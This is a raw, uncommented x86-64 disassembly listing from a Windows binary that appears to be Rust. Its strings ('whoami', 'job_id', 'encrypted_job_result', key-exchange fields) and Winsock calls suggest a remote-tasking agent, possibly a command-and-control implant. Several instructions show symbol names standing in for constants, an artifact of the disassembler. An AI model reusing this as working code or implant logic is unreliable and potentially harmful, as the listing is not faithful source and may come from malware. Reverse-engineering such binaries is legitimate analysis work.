lea rax, [rsp + 0xdc0]
mov qword [rsp + 0x570], rax
call fcn.140001084
lea rcx, [rsp + 0x6f]
call fcn.1400d1c4c
test rax, rax
je 0x140046415
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rdx
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x2d0], rax
call fcn.1400d198e
mov edi, eax
mov ebx, edx
call fcn.140038b82
test rax, rax
je 0x140046307
and dil, 1
mov cl, byte [rax + 0x4c]
mov dl, byte [rax + 0x4d]
mov byte [rax + 0x4c], dil
mov byte [rax + 0x4d], bl
jmp 0x140046309
mov cl, 2
mov byte [rsp + 0x430], cl
mov byte [rsp + 0x431], dl
lea rcx, [rsp + 0x570]
call fcn.1400a786e
mov rcx, rax
lea r12, [rsp + 0x2d0]
mov rdx, r12
call fcn.1400d9597
test al, al
lea rdi, [rsp + 0x440]
je 0x14004638e
lea rbx, [rsp + 0x170]
mov rcx, rbx
mov rdx, r13
mov r8, r12
call fcn.1400481e4
cmp qword [rsp + 0x170], 0
je 0x140046398
mov rax, qword [rsp + 0x180]
lea rcx, [rsp + 0x2e8]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x170]
movups xmmword [rcx], xmm0
and qword [rsp + 0x2e0], 0
jmp 0x1400463ac
movaps xmmword [rsp + 0x2e0], xmm6
jmp 0x1400463ac
mov rcx, rbx
call fcn.140035905
mov qword [rsp + 0x2e0], 1
lea rcx, [rsp + 0x430]
call fcn.1400354f1
cmp qword [rsp + 0x2e0], 0
je 0x1400463e0
lea rcx, [rsp + 0x2e0]
call fcn.140035258
lea rcx, [rsp + 0x6f]
call fcn.1400d1c84
jmp 0x1400462e1
lea rcx, [rsp + 0x2e8]
mov rax, qword [rcx + 0x10]
mov qword [r15 + 0x10], rax
movups xmm0, xmmword [rcx]
movups xmmword [r15], xmm0
and qword [rsp + 0x500], 0
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
call qword [rax + 0x18]
jmp 0x140046421
mov qword [rsp + 0x500], 1
lea rbx, [rsp + 0xa0]
mov rcx, rbx
lea rdx, [rsp + 0x500]
call fcn.140036481
cmp qword [rsp + 0xa0], 0
jne 0x1400467a9
lea rcx, [rsp + 0xdc0]
call fcn.140035910
mov rcx, rbx
call fcn.140035905
mov rcx, rdi
call fcn.140035268
lea rbx, [rsp + 0x1e0]
jmp 0x140046226
push 9
pop rcx
lea rbx, [rsp + 0xdc0]
mov rsi, rdi
mov rdi, rbx
rep movsq qword [rdi], qword [rsi]
mov rcx, rbx
lea rdx, [0x14019bbf0]
call fcn.1400d4ef8
mov r12, rax
lea r15, [rax + 8]
mov rcx, r15
lea rdx, [0x14019bc08]
call fcn.14003613b
mov rdi, rdx
mov rsi, qword [rax]
and qword [rax], 0
mov rcx, rsi
lea rdx, [0x14019bc20]
call fcn.1400363ec
inc qword [rdi]
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], r13
mov r13, rsi
mov qword [rsp + 0x2f0], rsi
mov qword [rsp + 0x2f8], r12
call fcn.140038b82
test rax, rax
je 0x14004681f
mov rcx, rax
add rcx, 0x38
mov rdx, qword [rax + 0x38]
lea r8, [rsp + 0xdc0]
mov qword [rax + 0x38], r8
mov qword [rsp + 0x2d0], rcx
mov qword [rsp + 0x2d8], rdx
mov rcx, r12
call fcn.1400d39f2
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rdx
lea rcx, [rsp + 0xd0]
call fcn.14005422f
mov qword [rsp + 0x570], rax
mov rcx, r13
call fcn.140001084
mov rax, r12
add rax, 0x18
mov qword [rsp + 0x78], rax
mov rcx, qword [r12]
add rcx, 0x10
call fcn.1400d3a08
test al, al
je 0x140046660
mov rcx, r15
lea rdx, [0x14019bb98]
call fcn.14003613b
mov rdi, rax
mov r14, rdx
mov rcx, rax
call fcn.140035408
mov qword [rdi], r13
inc qword [r14]
call fcn.1400d198e
mov r14d, eax
mov ebx, edx
call fcn.140038b82
test rax, rax
je 0x1400465bf
and r14b, 1
mov cl, byte [rax + 0x4c]
mov dl, byte [rax + 0x4d]
mov byte [rax + 0x4c], r14b
mov byte [rax + 0x4d], bl
jmp 0x1400465c1
mov cl, 2
mov byte [rsp + 0xa0], cl
mov byte [rsp + 0xa1], dl
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x5c0]
lea r8, [rsp + 0x570]
call fcn.1400481e4
lea rbx, [rsp + 0xa0]
mov rcx, rbx
call fcn.1400354f1
mov rcx, r15
lea rdx, [0x14019bbb0]
call fcn.14003613b
mov rdi, rdx
mov rcx, qword [rax]
and qword [rax], 0
mov r13, rcx
lea rdx, [0x14019bbd8]
call fcn.1400363ec
inc qword [rdi]
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0xa0], xmm0
mov rsi, qword [rsp + 0xa0]
test rsi, rsi
jne 0x140047743
mov rcx, rbx
call fcn.140035905
mov rax, qword [r12]
mov ebx, dword [rax + 0x58]
sub ebx, 1
jb 0x14004674e
cmp byte [r13 + 0x68], 0
jne 0x1400467eb
mov rcx, r13
call fcn.1400d35cd
mov rdx, qword [r12]
add rdx, 0x10
mov rcx, r13
call fcn.1400d35d1
test rax, rax
je 0x140046766
mov r14, rax
mov rcx, r13
call fcn.140001084
mov rcx, r15
lea rdx, [0x14019bb98]
call fcn.14003613b
mov rdi, rax
mov rsi, rdx
mov rcx, rax
call fcn.140035408
mov qword [rdi], r13
inc qword [rsi]
call fcn.1400d198e
mov edi, eax
mov esi, edx
call fcn.140038b82
test rax, rax
je 0x1400466f1
and dil, 1
mov cl, byte [rax + 0x4c]
mov dl, byte [rax + 0x4d]
mov byte [rax + 0x4c], dil
mov byte [rax + 0x4d], sil
jmp 0x1400466f3
mov cl, 2
mov byte [rsp + 0x170], cl
mov byte [rsp + 0x171], dl
mov rcx, r14
call fcn.14008728b
lea rcx, [rsp + 0x170]
call fcn.1400354f1
mov rcx, r15
lea rdx, [0x14019bbb0]
call fcn.14003613b
mov rsi, rdx
mov r13, qword [rax]
and qword [rax], 0
mov rcx, r13
lea rdx, [0x14019bbd8]
call fcn.1400363ec
inc qword [rsi]
mov rcx, r13
call fcn.140001084
jmp 0x140046667
mov rcx, r13
call fcn.140001084
mov r8, qword [r12]
add r8, 0x10
mov rcx, r12
mov rdx, r13
jmp 0x140046794
mov rsi, r13
mov rcx, r13
call fcn.140001084
mov rcx, qword [rsp + 0x78]
call fcn.1400d3cdd
mov r8, qword [r12]
add r8, 0x10
mov rcx, r12
mov rdx, r13
test al, al
je 0x140046794
call fcn.1400d3656
jmp 0x140046799
call fcn.1400d376c
mov r13, rax
mov rcx, rax
call fcn.140001084
jmp 0x140046560
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0xdc0]
call fcn.140035910
lea rdi, [rsp + 0x12f8]
lea r12, [rsp + 0xba0]
jmp 0x1400468da
xor esi, esi
lea rcx, [rsp + 0x2d0]
call fcn.1400d3101
mov qword [rsp + 0x1e0], r13
mov qword [rsp + 0x1e8], rsi
movaps xmm0, xmmword [rsp + 0x170]
lea rax, [rsp + 0x1f0]
movups xmmword [rax], xmm0
jmp 0x140046835
and qword [rsp + 0x1e0], 0
lea rcx, [rsp + 0x2f0]
call fcn.140035f1b
lea rcx, [rsp + 0x500]
lea rdx, [rsp + 0x1e0]
call fcn.140036518
mov r14, qword [rsp + 0x500]
mov rbx, qword [rsp + 0x508]
lea rax, [rsp + 0x508]
movups xmm0, xmmword [rax + 8]
movaps xmmword [rsp + 0x2e0], xmm0
mov rcx, r15
lea rdx, [0x14019bc38]
call fcn.14003613b
mov rsi, rax
mov rdi, rdx
mov rcx, rax
call fcn.140035408
mov qword [rsi], r14
inc qword [rdi]
lea rcx, [rsp + 0xdc0]
call fcn.140035c45
test rbx, rbx
je 0x1400481aa
mov qword [rsp + 0x80], rbx
movaps xmm0, xmmword [rsp + 0x2e0]
lea rax, [rsp + 0x88]
movups xmmword [rax], xmm0
lea rdi, [rsp + 0x12f8]
lea r12, [rsp + 0xba0]
lea r13, [rsp + 0x5c0]
lea r14, [rsp + 0xb8]
lea rsi, [rsp + 0x260]
cmp dword [rsp + 0x70], 2
jne 0x14004690b
mov rax, qword [rsp + 0x440]
cmp eax, 2
je 0x14004690b
lea rcx, [rsp + 0x440]
call fcn.140035c45
mov rcx, rsi
call fcn.140035c21
mov rcx, r13
call fcn.140035cfb
lea rsi, [rsp + 0x360]
lea rcx, [rsp + 0x130]
call fcn.140035bde
mov rcx, rsi
call fcn.14003598e
lea rcx, [rsp + 0x150]
mov rsi, r14
call fcn.14003584d
mov rcx, rsi
call fcn.14003584d
xor r14d, r14d
mov dword [rsp + 0x70], 0
lea rsi, [rsp + 0xf0]
movups xmm0, xmmword [rsp + 0xa48]
movups xmm1, xmmword [rsp + 0xa58]
movups xmmword [rsp + 0x180], xmm1
movups xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0xf0], xmm6
lea rcx, [rsp + 0x6f]
mov rdx, rsi
push 0x20
pop rbx
mov r8, rbx
call fcn.14010c12a
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [rsp + 0xdd0], xmm1
movups xmmword [rsp + 0xdc0], xmm0
movups xmmword [rsp + 0x5d0], xmm6
movups xmmword [rsp + 0x5c0], xmm7
lea rcx, [rsp + 0x260]
lea r15, [rsp + 0xdc0]
mov rdx, r15
mov r8, r13
call fcn.14010a93d
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [rsp + 0x5d0], xmm1
movups xmmword [rsp + 0x5c0], xmm0
lea rsi, [rsp + 0x500]
mov rcx, rsi
mov rdx, r13
lea r8, [rsp + 0x170]
call fcn.14010a93d
movaps xmmword [rsp + 0xd0], xmm6
and qword [rsp + 0xe0], 0
lea rcx, [rsp + 0x6f]
lea rdx, [rsp + 0xd0]
push 0x18
pop r8
call fcn.14010c12a
mov rcx, r12
mov rdx, rsi
mov r8, rbx
mov r9, rbx
call fcn.1400c567d
movaps xmm0, xmmword [rsp + 0xd0]
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x5d0], rax
movups xmmword [rsp + 0x5c0], xmm0
mov rcx, r12
mov rdx, r13
call fcn.140038bd5
mov r8d, 0x198
mov rcx, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r13
call fcn.14003a6dc
mov qword [rsp + 0x430], rax
mov qword [rsp + 0x438], rdx
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x1c0], rax
movaps xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x1b0], xmm0
mov ecx, 0x80
xor edx, edx
call fcn.14005453e
mov qword [rsp + 0x5c0], rax
mov qword [rsp + 0x5c8], rdx
and qword [rsp + 0x5d0], 0
mov qword [rsp + 0x1e0], r13
mov rcx, r13
lea rdx, [0x14019a290]
push 1
pop r8
call fcn.140054331
lea rbx, [rsp + 0x1e0]
mov qword [rsp + 0xdc0], rbx
mov byte [rsp + 0xdc8], 1
mov rcx, r15
lea rdx, str.outputwhoamiidentity_public_keypublic_prekeypublic_prekey_signatureidentity_public_key_strjob_idencrypted_job_resultC:UsersAdministrator.cargo_registry_src_rsproxy.cn_0dccff568467c15bdigest_0.9.0_src_variable.rs
push 6
pop r8
lea r9, [rsp + 0x1b0]
call fcn.140040ada
mov rcx, qword [rsp + 0xdc0]
mov dl, byte [rsp + 0xdc8]
call fcn.14004082f
mov rax, qword [rsp + 0x5c0]
mov rdx, qword [rsp + 0x5c8]
test rax, rax
je 0x140046cb3
mov rcx, qword [rsp + 0x5d0]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0xc8], rcx
lea rcx, [rsp + 0x430]
call fcn.1400aca31
mov rsi, rax
mov rcx, rdx
call fcn.140036804
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x140], rax
movups xmmword [rsp + 0x130], xmm0
lea rcx, [rsp + 0xb8]
call fcn.1400e3eae
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.14010b866
mov rsi, qword [rsp + 0x1e8]
lea rcx, [rsi + 0x10]
xor edx, edx
call fcn.14005453e
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rdx
and qword [rsp + 0xb0], 0
mov rdx, qword [rsp + 0x1e0]
lea rdi, [rsp + 0xa0]
mov rcx, rdi
mov r8, rsi
call fcn.140054331
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x78], rax
mov rsi, qword [rsp + 0x1f8]
mov rcx, rdi
call fcn.1400e3eae
mov rbx, rax
mov rdi, rdx
lea r15, [rsp + 0xdc0]
mov rcx, r15
lea rdx, [rsp + 0x2e0]
lea r8, [rsp + 0x130]
call fcn.14003b2c4
mov rcx, r13
mov rdx, r15
call fcn.140034d3f
movabs rax, 0x3fffffffbf
cmp rdi, rax
jbe 0x140046cdd
lea rdi, [rsp + 0x12f8]
jmp 0x140046d6f
lea rcx, [rsp + 0x368]
call fcn.140049b55
and qword [rsp + 0x360], 0
lea rbx, [rsp + 0x2b0]
lea rsi, [0x14019c1e8]
jmp 0x140046dbb
mov r15, qword [rsp + 0x588]
mov rcx, r15
mov rdx, qword [rsp + 0x78]
mov r8, rsi
call fcn.140034aed
mov rcx, r13
mov rdx, rbx
mov r8, rdi
call fcn.140039e5f
mov rcx, r15
mov rdx, rbx
mov r8, rdi
call fcn.140034aed
mov rcx, r13
mov rdx, rsi
mov r8, rdi
call fcn.140034c84
mov r8d, 0x240
lea rdi, [rsp + 0xdc0]
mov rcx, rdi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
lea rsi, [rsp + 0x2d0]
mov rcx, rsi
mov rdx, rdi
call fcn.1400cad39
lea rcx, [rsp + 0xa0]
mov rdx, rsi
push reloc.WS2_32.dll_recv
pop r8
call fcn.14010b881
test al, al
lea rdi, [rsp + 0x12f8]
je 0x140046ff6
lea rcx, [rsp + 0xa0]
call fcn.14003584d
lea rbx, [rsp + 0x2b0]
lea rsi, [0x14019c1e8]
lea rcx, [rsp + 0x368]
call fcn.140049c55
and qword [rsp + 0x360], 0
lea rcx, [rsp + 0x2e0]
call fcn.1400355af
lea rcx, [rsp + 0xb8]
call fcn.14003584d
lea rcx, [rsp + 0x1b0]
call fcn.14003584d
lea rcx, [rsp + 0x430]
call fcn.140035b10
cmp qword [rsp + 0x360], 0
je 0x140046f9d
push recv
pop rcx
lea r15, [rsp + 0x440]
mov rdi, r15
lea rsi, [rsp + 0x360]
rep movsq qword [rdi], qword [rsi]
mov r9, qword [rsp + 0xae0]
mov rax, qword [rsp + 0xaf0]
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, qword [rsp + 0x1d0]
lea r8, reloc.WS2_32.dll_bind
call fcn.14003b1b6
and qword [rsp + 0x500], 0
cmp dword [rsp + 0x5c0], 2
lea rdi, [rsp + 0xa30]
je 0x14004737d
mov ecx, 0x80
xor edx, edx
call fcn.14005453e
mov qword [rsp + 0xdc0], rax
mov qword [rsp + 0xdc8], rdx
and qword [rsp + 0xdd0], 0
lea rcx, [rsp + 0xdc0]
mov qword [rsp + 0x2e0], rcx
lea rdx, [0x14019a290]
push 1
pop r8
call fcn.140054331
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x1e8], 1
lea rsi, [rsp + 0x1e0]
mov rcx, rsi
lea rdx, [0x14019c152]
push 6
pop r8
lea r9, [rsp + 0x470]
call fcn.140040876
mov rcx, rsi
lea rdx, [0x14019c158]
push setsockopt
pop r8
mov r9, r15
call fcn.140040b0b
mov rsi, rax
test rax, rax
jne 0x140047334
lea rcx, [rsp + 0x1e0]
lea rdx, [0x14019a77f]
push setsockopt
pop r8
lea r9, [rsp + 0x480]
call fcn.140040a55
mov rsi, rax
test rax, rax
jne 0x140047334
lea rcx, [rsp + 0x1e0]
lea rdx, [0x14019a793]
push 5
pop r8
call fcn.1400407f0
mov rsi, qword [rsp + 0x1e0]
mov rcx, rsi
call fcn.140033da9
mov rcx, r12
mov rdx, rsi
push 0x18
pop r8
call fcn.14004194d
mov al, byte [rsp + 0xba8]
mov rsi, qword [rsp + 0xba0]
cmp al, 3
je 0x140047334
mov qword [rsp + 0x360], rsi
mov byte [rsp + 0x368], al
xor esi, esi
cmp rsi, 0x18
je 0x1400472f4
lea rax, [rsp + 0x4a0]
lea rdx, [rax + rsi]
inc rsi
lea rcx, [rsp + 0x360]
call fcn.140040841
jmp 0x140046f75
mov rcx, qword [rsp + 0x1d8]
xor edx, edx
call fcn.140008c40
cmp qword [rsp + 0x360], 0
jne 0x140046fc4
lea rcx, [rsp + 0x360]
call fcn.140035272
cmp byte [rsp + 0x70], 0
mov r15, qword [rsp + 0x1d0]
jne 0x140043cc3
lea rcx, [rsp + 0xa18]
call fcn.14003584d
lea rcx, [rsp + 0xa30]
call fcn.140035b7e
jmp 0x140043cc3
mov rax, qword [rsp + 0xa0]
lea rcx, [rsp + 0xb0]
movups xmm0, xmmword [rcx - 8]
movaps xmmword [rsp + 0x570], xmm0
test rax, rax
lea rbx, [rsp + 0x2b0]
lea rsi, [0x14019c1e8]
je 0x140046d8b
movaps xmm0, xmmword [rsp + 0x570]
lea rcx, [rsp + 0x158]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0x500]
call fcn.1400bf5da
lea rcx, [rsp + 0x430]
call fcn.14003a79f
push reloc.WS2_32.dll_recv
pop rsi
mov rcx, rsi
xor edx, edx
call fcn.14005453e
movaps xmm0, xmmword [rsp + 0xb70]
movups xmmword [rax], xmm0
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rdx
mov qword [rsp + 0x140], rsi
mov rcx, rsi
xor edx, edx
call fcn.14005453e
lea rcx, [rsp + 0x12e8]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
mov qword [rsp + 0x5c0], rax
mov qword [rsp + 0x5c8], rdx
mov qword [rsp + 0x5d0], rsi
lea rsi, [rsp + 0x130]
mov rcx, rsi
mov rdx, r13
call fcn.140037c38
mov rcx, r13
call fcn.14003584d
mov rcx, r13
lea rdx, [rsp + 0x150]
call fcn.1400e377a
mov rcx, rsi
mov rdx, r13
call fcn.140037c38
mov rcx, r13
call fcn.14003584d
push 0x20
pop rcx
xor edx, edx
call fcn.14005453e
movups xmm0, xmmword [rsp + 0x260]
movups xmm1, xmmword [rsp + 0x270]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rsp + 0x5c0], rax
mov qword [rsp + 0x5c8], rdx
mov qword [rsp + 0x5d0], 0x20
mov rcx, rsi
mov rdx, r13
call fcn.140037c38
mov rcx, r13
call fcn.14003584d
push 0x18
pop rcx
xor edx, edx
call fcn.14005453e
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rax], xmm0
mov rcx, qword [rsp + 0xe0]
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x5c0], rax
mov qword [rsp + 0x5c8], rdx
mov qword [rsp + 0x5d0], 0x18
mov rcx, rsi
mov rdx, r13
call fcn.140037c38
mov rcx, r13
call fcn.14003584d
lea r15, [rsp + 0x1e0]
mov rcx, r15
lea rdx, [rsp + 0x13b8]
call fcn.1400c4e95
mov r8, qword [rsp + 0x130]
mov r9, qword [rsp + 0x140]
mov qword [rsp + 0x20], rdi
mov rcx, r13
mov rdx, r15
call fcn.1400c5023
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm8, xmmword [rsp + 0x260]
movups xmm10, xmmword [rsp + 0x270]
movaps xmm9, xmmword [rsp + 0xd0]
mov rsi, qword [rsp + 0xe0]
lea rcx, [rsp + 0xdc0]
mov rdx, r13
call fcn.14010a8c2
push 0x40
pop rcx
xor edx, edx
call fcn.14005453e
movups xmm0, xmmword [rsp + 0xdc0]
movups xmm1, xmmword [rsp + 0xdd0]
movups xmm2, xmmword [rsp + 0xde0]
movups xmm3, xmmword [rsp + 0xdf0]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movaps xmm0, xmmword [rsp + 0xb70]
lea rcx, [rsp + 0x390]
movups xmmword [rcx], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x360], xmm0
mov rcx, qword [rsp + 0xb0]
mov qword [rsp + 0x370], rcx
mov qword [rsp + 0x378], rax
mov qword [rsp + 0x380], rdx
mov qword [rsp + 0x388], 0x40
movaps xmmword [rsp + 0x3b0], xmm10
movaps xmmword [rsp + 0x3a0], xmm8
mov qword [rsp + 0x3d0], rsi
lea rsi, [0x14019c1e8]
movaps xmmword [rsp + 0x3c0], xmm9
mov rcx, r15
call fcn.1400c5615
lea rcx, [rsp + 0x130]
call fcn.14003584d
jmp 0x140046da1
mov rcx, qword [rsp + 0x360]
mov dl, byte [rsp + 0x368]
call fcn.140040838
lea rcx, [rsp + 0x1e0]
lea rdx, [0x14019a798]
push 9
pop r8
lea r9, [rsp + 0x458]
call fcn.140040b0b
mov rsi, rax
test rax, rax
je 0x1400473f6
lea rcx, [rsp + 0xdc0]
call fcn.14003584d
mov rcx, rsi
call fcn.14003b1ac
mov rsi, rax
lea rcx, [rsp + 0x500]
call fcn.140035bd3
mov rcx, r13
call fcn.140035286
mov qword [rsp + 0x5c0], 2
mov qword [rsp + 0x5c8], rsi
lea r15, [rsp + 0x440]
mov r8d, 0x150
lea rsi, [rsp + 0xdc0]
mov rcx, rsi
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r13
mov rdx, rsi
call fcn.14009ffb3
mov rcx, r13
call fcn.1400352ef
mov rcx, r15
call fcn.140035610
cmp byte [rsp + 0x70], 0
jne 0x1400473cd
lea rcx, [rsp + 0xa18]
call fcn.14003584d
mov rcx, rdi
call fcn.140035b7e
lea rcx, [rsp + 0x1288]
call fcn.140035b98
lea rdi, [rsp + 0x12f8]
mov r15, qword [rsp + 0x1d0]
lea rsi, [0x14019c1e8]
jmp 0x140042294
mov rcx, qword [rsp + 0x1e0]
mov dl, byte [rsp + 0x1e8]
call fcn.14004082f
mov rax, qword [rsp + 0xdc0]
mov rsi, qword [rsp + 0xdc8]
test rax, rax
je 0x140047341
mov rcx, qword [rsp + 0xdd0]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], rcx
movups xmm8, xmmword [0x14019c4b8]
movaps xmmword [rsp + 0xdd0], xmm8
movups xmm9, xmmword [0x14019c4a8]
movaps xmmword [rsp + 0xdc0], xmm9
lea rcx, [rsp + 0x5e8]
lea rsi, [rsp + 0xdc0]
mov rdx, rsi
call fcn.14010d20a
test al, al
jne 0x1400474be
movaps xmmword [rsp + 0x370], xmm8
movaps xmmword [rsp + 0x360], xmm9
mov rcx, rsi
call fcn.1400367a0
mov rcx, r12
lea rdx, [rsp + 0x5e8]
lea r8, [rsp + 0x360]
mov r9, rsi
call fcn.140130700
mov rcx, r12
call fcn.140035e90
mov rcx, rsi
lea rdx, [rsp + 0x1e0]
call fcn.140036880
lea rsi, [rsp + 0x6d0]
mov rcx, rsi
call fcn.140035df1
mov rax, qword [rsp + 0xde0]
mov qword [rsi + 0x20], rax
movups xmm0, xmmword [rsp + 0xdc0]
movups xmm1, xmmword [rsp + 0xdd0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
jmp 0x140047375
mov rsi, qword [rsp + 0x268]
jmp 0x140047893
mov qword [rsp + 0x5c0], 5
lea rcx, [rsp + 0x1e0]
mov rdx, r13
call fcn.140187c70
mov rdi, rax
jmp 0x140043a2e
cmp byte [rsp + 0xa1], 0
je 0x140047868
mov al, byte [rsp + 0xa2]
movzx ecx, al
cmp ecx, 0x2c
je 0x140047694
cmp ecx, 0x5d
je 0x140047bf1
cmp byte [rsp + 0xd8], 0
jne 0x1400476a2
mov qword [rsp + 0x5c0], 7
jmp 0x140047bd9
mov qword [rsp + 0x5c0], 0x18
lea rcx, [rsp + 0x1e0]
lea r13, [rsp + 0x5c0]
mov rdx, r13
call fcn.140187c70
mov rdi, rax
lea r12, [rsp + 0xba0]
jmp 0x140047a26
mov r14, qword [rsp + 0x170]
test r14, r14
sete bl
je 0x140047b6e
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x270], rax
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x260], xmm0
cmp qword [rsp + 0xf0], 0
sete dil
je 0x140047b88
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x5d0], rax
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x5c0], xmm0
test r15b, 1
jne 0x140047b9c
mov rsi, qword [rsp + 0x178]
mov rbx, qword [rsp + 0x180]
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
jmp 0x1400478d5
lea rax, [rsp + 0x188]
movups xmm0, xmmword [rax - 0x10]
movaps xmmword [rsp + 0xf0], xmm0
jmp 0x1400457f2
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x6f]
lea r8, fcn.140001084
call fcn.140187cd4
mov rsi, rax
jmp 0x140047b48
cmp byte [rsp + 0xd8], 0
je 0x140047779
mov byte [rsp + 0xd8], 0
cmp al, 0x5d
je 0x140047bcd
lea rcx, [rsp + 0x5c0]
mov rdx, rsi
call fcn.14003f393
mov rax, qword [rsp + 0x5c0]
test rax, rax
je 0x14004779b
lea rcx, [rsp + 0x5c8]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x268]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x5c0]
lea rdx, [rsp + 0xd0]
call fcn.1400389f1
cmp byte [rsp + 0x5c0], 0
je 0x1400477a8
mov rsi, qword [rsp + 0x5c8]
lea rcx, [rsp + 0x260]
call fcn.140035b7e
jmp 0x140046066
mov rsi, qword [rsp + 0x5c8]
jmp 0x140047893
mov rsi, rax
jmp 0x140047896
lea rax, [rsp + 0xb0]
movups xmm0, xmmword [rax - 8]
movaps xmmword [rsp + 0x170], xmm0
jmp 0x1400467ed
movzx eax, al
cmp eax, 0x7d
jne 0x140047830
mov qword [rsp + 0x5c0], 0x15
jmp 0x14004783c
inc qword [rsi + 0x10]
lea rcx, [rsp + 0x5c0]
mov rdx, rsi
call fcn.140033ab4
cmp byte [rsp + 0x5c0], 0
je 0x14004784e
mov rsi, qword [rsp + 0x5c8]
jmp 0x140046066
test byte [rsp + 0x5c1], 1
je 0x140047c2e
movups xmm8, xmmword [rsp + 0x5c2]
movups xmm9, xmmword [rsp + 0x5d2]
mov r14, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xf8]
mov rbx, qword [rsp + 0x100]
movups xmm0, xmmword [rsp + 0x260]
movaps xmmword [rsp + 0x170], xmm0
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x180], rax
jmp 0x140046076
xor ecx, ecx
lea rdx, [0x14019a818]
lea r8, fcn.140001084
call fcn.140188124
mov rsi, rax
jmp 0x140046073
mov qword [rsp + 0x5c0], 3
jmp 0x140047885
mov qword [rsp + 0x5c0], 0x11
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x5c0]
jmp 0x14004788b
cmp byte [rsp + 0x5c1], 0
je 0x140047c4c
mov al, byte [rsp + 0x5c2]
jmp 0x1400476aa
mov qword [rsp + 0x5c0], 2
jmp 0x140047bd9
mov qword [rsp + 0x5c0], 8
mov rcx, rbx
mov rdx, r14
call fcn.140187c70
mov rsi, rax
mov dil, 1
mov bl, 1
test dil, dil
je 0x1400478b5
cmp qword [rsp + 0xf0], 0
je 0x1400478b5
lea rcx, [rsp + 0xf0]
call fcn.140035b7e
cmp qword [rsp + 0x170], 0
setne al
test bl, al
je 0x1400478d2
lea rcx, [rsp + 0x170]
call fcn.14003584d
xor r14d, r14d
inc byte [rsp + 0x210]
lea rcx, [rsp + 0x1e0]
call fcn.140033bf3
mov rdi, rax
mov qword [rsp + 0x5c0], r14
mov qword [rsp + 0x5c8], rsi
mov qword [rsp + 0x5d0], rbx
movaps xmm0, xmmword [rsp + 0xa0]
lea rcx, [rsp + 0x5e8]
movups xmmword [rcx - 0x10], xmm0
mov rax, qword [rsp + 0xb0]
mov qword [rcx], rax
movups xmmword [rsp + 0x600], xmm9
movups xmmword [rsp + 0x5f0], xmm8
mov qword [rsp + 0x610], rdi
test r14, r14
je 0x140047959
test rdi, rdi
je 0x140047970
lea rcx, [rsp + 0x5c0]
call fcn.14003579c
mov rsi, rdi
jmp 0x14004796b
test rdi, rdi
je 0x14004796b
lea rcx, [rsp + 0x610]
call fcn.1400357bf
xor r14d, r14d
jmp 0x1400479a8
lea rax, [rsp + 0x5e8]
movups xmm0, xmmword [rax - 0x18]
movups xmm1, xmmword [rax - 8]
movups xmm2, xmmword [rax + 8]
movups xmm3, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x470], xmm3
